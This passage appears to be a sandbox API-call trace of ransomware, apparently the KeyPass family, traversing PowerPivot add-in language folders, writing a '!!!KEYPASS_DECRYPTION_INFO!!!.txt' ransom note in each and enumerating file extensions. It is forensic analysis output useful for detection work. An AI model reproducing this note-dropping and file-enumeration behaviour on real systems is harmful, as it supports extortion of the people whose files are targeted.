office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2074\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990 [0255.479] GetFileType (hFile=0x990) returned 0x1 [0255.479] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.479] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.479] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.479] WriteFile (in: hFile=0x990, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.480] WriteFile (in: hFile=0x990, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.480] CloseHandle (hObject=0x990) returned 1 [0255.481] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a1f8 [0255.481] FindNextFileW (in: hFindFile=0x3a0a1f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.481] FindNextFileW (in: hFindFile=0x3a0a1f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.481] FindNextFileW (in: hFindFile=0x3a0a1f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.481] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.481] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.481] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.481] GetLastError () returned 0x3f0 [0255.481] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.481] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\3082\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994 [0255.483] GetFileType (hFile=0x994) returned 0x1 [0255.483] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.483] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.483] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.483] WriteFile (in: hFile=0x994, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.484] WriteFile (in: hFile=0x994, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.484] CloseHandle (hObject=0x994) returned 1 [0255.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a5f8 [0255.484] FindNextFileW (in: hFindFile=0x3a0a5f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.484] FindNextFileW (in: hFindFile=0x3a0a5f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.484] FindNextFileW (in: hFindFile=0x3a0a5f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.485] FindNextFileW (in: hFindFile=0x3a0a5f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.485] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.485] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.485] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.485] GetLastError () returned 0x3f0 [0255.485] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.485] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\9242\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c [0255.487] GetFileType (hFile=0x99c) returned 0x1 [0255.487] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.487] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.487] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.487] WriteFile (in: hFile=0x99c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.488] WriteFile (in: hFile=0x99c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.488] CloseHandle (hObject=0x99c) returned 1 [0255.489] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a638 [0255.489] FindNextFileW (in: hFindFile=0x3a0a638, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.489] FindNextFileW (in: hFindFile=0x3a0a638, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.489] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.489] FindNextFileW (in: hFindFile=0x3a0a638, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.489] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.489] FindNextFileW (in: hFindFile=0x3a0a638, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.489] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.489] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.489] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.489] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.489] GetLastError () returned 0x3f0 [0255.489] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.489] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ro\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a0 [0255.520] GetFileType (hFile=0x9a0) returned 0x1 [0255.520] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.520] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.520] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.520] WriteFile (in: hFile=0x9a0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.521] WriteFile (in: hFile=0x9a0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.521] CloseHandle (hObject=0x9a0) returned 1 [0255.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0a0f8 [0255.521] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.522] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.522] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.522] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.522] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\LocalizedStrings.xml") returned=".xml" [0255.522] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.523] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.523] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.524] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.524] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.524] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.524] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.524] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.524] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.524] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.524] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.524] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.524] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.524] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.524] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.524] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.524] FindNextFileW (in: hFindFile=0x3a0a0f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.524] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.524] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.524] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.524] GetLastError () returned 0x3f0 [0255.524] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.524] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ru\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a4 [0255.528] GetFileType (hFile=0x9a4) returned 0x1 [0255.528] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.528] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.528] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.528] WriteFile (in: hFile=0x9a4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.529] WriteFile (in: hFile=0x9a4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.529] CloseHandle (hObject=0x9a4) returned 1 [0255.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0a6f8 [0255.530] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.531] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\LocalizedStrings.xml") returned=".xml" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.532] FindNextFileW (in: hFindFile=0x3a0a6f8, lpFindFileData=0x2e4e434 | out: 